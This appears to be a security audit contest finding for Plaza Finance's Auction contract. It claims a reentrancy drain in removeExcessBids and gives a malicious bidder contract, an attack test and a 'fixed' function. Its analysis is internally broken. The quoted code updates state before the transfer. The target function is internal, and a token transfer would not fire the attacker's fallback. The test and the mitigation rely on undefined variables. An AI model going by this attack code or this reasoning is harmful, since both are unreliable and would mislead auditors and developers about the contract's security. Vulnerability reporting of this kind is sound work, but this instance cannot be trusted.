Skip to content

Latest commit

 

History

History
189 lines (144 loc) · 7.49 KB

File metadata and controls

189 lines (144 loc) · 7.49 KB

Urban Lemon Wolverine

High

Reentrancy in removeExcessBids function call allows a malicious bidder to re-enter the contract and manipulate its state, leading to loss of funds

Summary

The removeExcessBids function in the provided smart contract is vulnerable to a reentrancy attack. The vulnerability arises due to the external call IERC20(buyCouponToken).safeTransfer made during the reduction of a bid. This call allows a malicious bidder to re-enter the contract and manipulate its state, leading to theft of funds or incorrect contract behavior.

Root Cause

The removeExcessBids function iterates over bids and adjusts or removes them to maintain the total sell coupon amount within the defined limits. During this process, it refunds excess sell coupons to the bidder using an external call: https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L286

IERC20(buyCouponToken).safeTransfer(currentBid.bidder, amountToRemove);

This external call is made before updating the contract's internal state. A malicious bidder can exploit this by re-entering the contract and invoking state-altering functions, leading to inconsistencies or manipulation of bids. https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L264-L290

      if (amountToRemove >= sellCouponAmount) {
        // Subtract the sellAmount from amountToRemove
        amountToRemove -= sellCouponAmount;

        // Remove the bid
        _removeBid(currentIndex);

        // Move to the previous bid (higher price)
        currentIndex = prevIndex;
      } else {
        // Calculate the proportion of sellAmount being removed
        uint256 proportion = (amountToRemove * 1e18) / sellCouponAmount;
        
        // Reduce the current bid's amounts
        currentBid.sellCouponAmount = sellCouponAmount - amountToRemove;
        currentCouponAmount -= amountToRemove;

        uint256 reserveReduction = ((currentBid.buyReserveAmount * proportion) / 1e18);
        currentBid.buyReserveAmount = currentBid.buyReserveAmount - reserveReduction;
        totalSellReserveAmount -= reserveReduction;
        
        // Refund the proportional sellAmount
        IERC20(buyCouponToken).safeTransfer(currentBid.bidder, amountToRemove);
        
        amountToRemove = 0;
        emit BidReduced(currentIndex, currentBid.bidder, currentBid.buyReserveAmount, currentBid.sellCouponAmount);
      }

Internal Pre-conditions

No response

External Pre-conditions

No response

Attack Path

The _removeBid function in the Auction contract contains a reentrancy vulnerability. This vulnerability arises because the function makes an external call to transfer tokens before updating the state variables. An attacker could exploit this by re-entering the function through the external call and manipulating the state, leading to loss of funds.

  1. Initial state: Assume the auction has several bids, and the currentCouponAmount is 10,000 tokens. The totalSellReserveAmount is 5,000 tokens. The lowestBidIndex points to the lowest bid in the linked list.

  2. Attacker's bid: The attacker places a bid of 1,000 tokens (sellCouponAmount) with a buyReserveAmount of 500 tokens. This bid is added to the auction, and the currentCouponAmount becomes 11,000 tokens, and totalSellReserveAmount becomes 5,500 tokens.

  3. Triggering removeExcessBids: The removeExcessBids function is called because the currentCouponAmount exceeds the totalBuyCouponAmount. The function identifies the attacker's bid as an excess bid and calls _removeBid to remove it.

4.Reentrancy Attack: During the execution of _removeBid, the function calls IERC20(buyCouponToken).safeTransfer to refund the attacker's sellCouponAmount. The attacker has a malicious contract that re-enters the removeExcessBids function during the external call. The re-entered removeExcessBids function again identifies the attacker's bid as an excess bid and calls _removeBid again. This process repeats, allowing the attacker to drain the contract by repeatedly triggering the refund mechanism.

Impact

With example:

  1. Initial call: The attacker receives a refund of 1,000 tokens.
  2. Re-entrance: The attacker re-enters and receives another refund of 1,000 tokens.
  3. Repeated re-entrance: This process continues, allowing the attacker to drain the contract of all available tokens.

Malicious bidders can repeatedly re-enter the contract during the refund process, allowing them to drain funds.

The internal state (e.g., bid records, currentCouponAmount) can be manipulated, leading to inconsistent or incorrect auction behavior.

PoC

Below is an example of a malicious bidder contract exploiting the vulnerability.

contract MaliciousBidder {
    address target;

    constructor(address _target) {
        target = _target;
    }

    function attack() external {
        // Place a malicious bid
        // Assuming necessary ERC20 tokens are already approved
        TargetContract(target).bid(100, 50);
    }

    fallback() external payable {
        // Re-enter the contract
        TargetContract(target).removeExcessBids();
    }
}

Here is a test that demonstrates the reentrancy attack:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "path_to/TargetContract.sol";
import "path_to/MaliciousBidder.sol";

contract ReentrancyTest is Test {
    TargetContract target;
    MaliciousBidder attacker;

    function setUp() public {
        target = new TargetContract();
        attacker = new MaliciousBidder(address(target));

        // Setup tokens and approvals
        IERC20(token).approve(address(target), type(uint256).max);
    }

    function testReentrancy() public {
        // Place a legitimate bid first
        target.bid(100, 50);

        // Execute the attack
        attacker.attack();

        // Verify the impact
        assertEq(target.currentCouponAmount(), 0, "Coupons were not drained");
        assertGt(attacker.balance(), 0, "Attack failed");
    }
}

Mitigation

  1. Ensure that all state updates are completed before making any external calls.
  2. Use a reentrancy guard (e.g., OpenZeppelin’s ReentrancyGuard) to prevent re-entrant calls.
function removeExcessBids() internal nonReentrant {
    if (currentCouponAmount <= totalBuyCouponAmount) {
        return;
    }

    uint256 amountToRemove = currentCouponAmount - totalBuyCouponAmount;
    uint256 currentIndex = lowestBidIndex;

    while (currentIndex != 0 && amountToRemove != 0) {
        Bid storage currentBid = bids[currentIndex];
        uint256 sellCouponAmount = currentBid.sellCouponAmount;
        uint256 prevIndex = currentBid.prevBidIndex;

        if (amountToRemove >= sellCouponAmount) {
            amountToRemove -= sellCouponAmount;
            _removeBid(currentIndex);
            currentIndex = prevIndex;
        } else {
            uint256 proportion = (amountToRemove * 1e18) / sellCouponAmount;
            currentBid.sellCouponAmount -= amountToRemove;
            currentCouponAmount -= amountToRemove;

            uint256 reserveReduction = ((currentBid.buyReserveAmount * proportion) / 1e18);
            currentBid.buyReserveAmount -= reserveReduction;
            totalSellReserveAmount -= reserveReduction;

            amountToRemove = 0;
        }
    }

    // Perform all refunds after state updates
    for (uint256 i = 0; i < refunds.length; i++) {
        IERC20(buyCouponToken).safeTransfer(refunds[i].bidder, refunds[i].amount);
    }
}